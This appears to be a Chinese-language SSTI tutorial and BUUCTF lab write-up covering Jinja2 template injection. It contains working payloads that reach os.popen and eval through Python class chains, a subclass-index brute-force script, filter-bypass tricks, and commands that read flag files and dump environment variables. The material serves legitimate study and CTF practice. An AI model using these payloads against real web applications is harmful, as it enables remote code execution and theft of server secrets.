SSTI模板注入
漏洞成因
SSTI(Server-Side Template Injection),即服务器端模板注入,是一种特定的安全漏洞。其原理和特点主要包括以下几点:
模板引擎机制:模板引擎的作用是将动态数据与静态模板结合生成最终的输出内容。它们通过替换指定
的标签或执行某些代码片段来实现这一过程。
用户输入处理:当构建这些模板时,如果服务端未对用户输入进行正确的过滤和转义,恶意用户可能会
插入一些特殊的代码片段。这些代码片段在模板引擎渲染过程中被执行,可能导致不安全的代码或命令
被执行。
注入的本质:就像SQL注入允许攻击者通过构造特殊的输入来干预数据库查询一样,SSTI允许攻击者干
预模板渲染的过程。这可以导致敏感信息泄露、远程代码执行等严重后果。
常见易受攻击的模板引擎
- Python:
- Jinja2 (Flask常用)
- Django Templates
- Mako
- Tornado Templates
- Java:
- FreeMarker
- Velocity
- Thymeleaf
- PHP:
- Twig (Symfony常用)
- Smarty
- JavaScript:
- Nunjucks
- EJS
- Pug/Jade
- Ruby:
- ERB
- Slim
快速判断框架
1 | 如果${7*7}没有执行(原样输出),那么就是下面的红色线分支 |
漏洞演示(代码)
1 | from flask import Flask, render_template, url_for, redirect, request, render_template_string |
{0} 是一个占位符,表示实际内容会被动态填充到这里。
{0} 的作用:
- 占位符:常见于代码生成或模板化场景(如 C# 的
string.Format()、Python 的.format()等)。 - 动态替换:程序运行时会将
{0}替换为具体的值。
Payload基础
魔术方法
__class__:查找当前类型的所属对象,作用相当于type(),用来获取类的类型
1 | "a".__class__ |
__base__、__bases__:用来获取类的直接父类,前者只能获取一个父类,后者可以获取所有直接父类
1 | class test1: |
__subclasses__:查找父类下的所有子类,后加中括号内可以填写具体哪一个子类的索引
1 | class test1: |
__name__:可以用来查看类的名称
1 | class test1: |
__global__:以字典形式返回函数所在模块命名空间中所有变量
1 | def hz(): |
__mro__:和base的效果一致,但是这个是显示查找当前类的所有继承类
1 | class test1: |
继承关系
1 | class A: pass //A为父类 |
常用注入模块
| 类/模块名称 | 所属模块/包 |
|---|---|
| os._AddedDlIDirectory | os |
| os._wrap_close | os |
| _frozen_importlib._DummyModuleLock | _frozen_importlib |
| _frozen_importlib._ModuleLockManager | _frozen_importlib |
| _frozen_importlib.ModuleSpec | _frozen_importlib |
| _frozen_importlib_external.FileLoader | _frozen_importlib_external |
| _frozen_importlib_external._NamespacePath | _frozen_importlib_external |
| _frozen_importlib_external._NamespaceLoader | _frozen_importlib_external |
| _frozen_importlib_external.FileFinder | _frozen_importlib_external |
| zipimport.zipimporter | zipimport |
| zipimport._ZipImportResourceReader | zipimport |
| _sitebuiltins.Quitter | _sitebuiltins |
| _sitebuiltins._Printer | _sitebuiltins |
| warnings.WarningMessage | warnings |
| warnings.catch_warnings | warnings |
| weakref.finalize | weakref |
| pickle._Framer | pickle |
| pickle._Unframer | pickle |
| pickle.Pickler | pickle |
| pickle.Unpickler | pickle |
| jinja2.bccache.Bucket | jinja2.bccache |
| jinja2.runtime.TemplateReference | jinja2.runtime |
| jinja2.runtime.Context | jinja2.runtime |
| jinja2.runtime.BlockReference | jinja2.runtime |
| jinja2.runtime.LoopContext | jinja2.runtime |
| jinja2.runtime.Macro | jinja2.runtime |
| jinja2.runtime.Undefined | jinja2.runtime |
| jinja2.environment.Environment | jinja2.environment |
| jinja2.environment.TemplateExpression | jinja2.environment |
| jinja2.environment.TemplateStream | jinja2.environment |
| dis.Bytecode | dis |
- 如何查找类的位置?
将网页的内容copy到notepad上然后将,替换为\n(扩展),然后查找对应类名,并查看其左侧序列,记得左边的序列要-1,因为数组从0开始计数
常见payload分析
1 | {{[].__class__.__base__.__subclasses__()}} |
通用payload
lipsum是jinja2的内置全局变量,jinja2一共有3个内置的全局函数:range、lipsum、dict,其中只有lipsum有__globals__键,其他两个要逃肯定逃得出来,但是payload构造就要花点功夫了。除此之外,flask也提供了两个内置的全局函数:url_for、getflashed_messages,两个都有__globals__键
1 | {{lipsum.__globals__.get('os').popen("cat flag2.txt").read()}} |
Bypass
1 | 1、过滤了'' --> 使用" " |
练习
题目:BUUCTF-[Flask]SSTI 1
1、打开

2、FUZZ出参数为name
3、发现存在ssti注入
4、构造payload
此处的''是表示任意的字符串类型,也可以使用()(元组)、[](列表)、{}(字典)
''是一个 Python 空字符串对象,属于str类。- 在模板引擎(如 Jinja2)中,它被用作链式属性访问的起点,目的是通过字符串对象的继承关系访问危险方法或类(如
os、subprocess)。
1 | 先获取类: |

1 | 获取基类: |

1 | 获取基类的所有子类: |

1 | 在子类中找到存在eval函数的类,此处找到catch_warnings这个类,位于第167个类,但是下标从0开始就是166 |
附上一个脚本,查找是第几个类:
1
2
3
4
5
6
7 import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://node5.buuoj.cn:26198/?name={{"".__class__.__base__.__subclasses__()['+str(i)+']}}'
r= requests.get(url=url).text
if('warnings.catch_warnings' in r):
print(i)

1 | 在这个类中,看他是否被重载了,如果没有出现wrapper字眼,说明已经重载了,可以使用。然后查看全部全局变量,看看这里面有没有危险方法函数eval、popen等: |

1 | 通过找{,{的前面就是键,对应的值中存在eval函数:['__builtins__']['eval'] |

1 | 代码执行:eval('__import__("os").popen("env").read()') |

另一种方式:
1 | 找os._wrap_close类,其中的popen函数 |
官方payload:
1 | {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("env").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %} |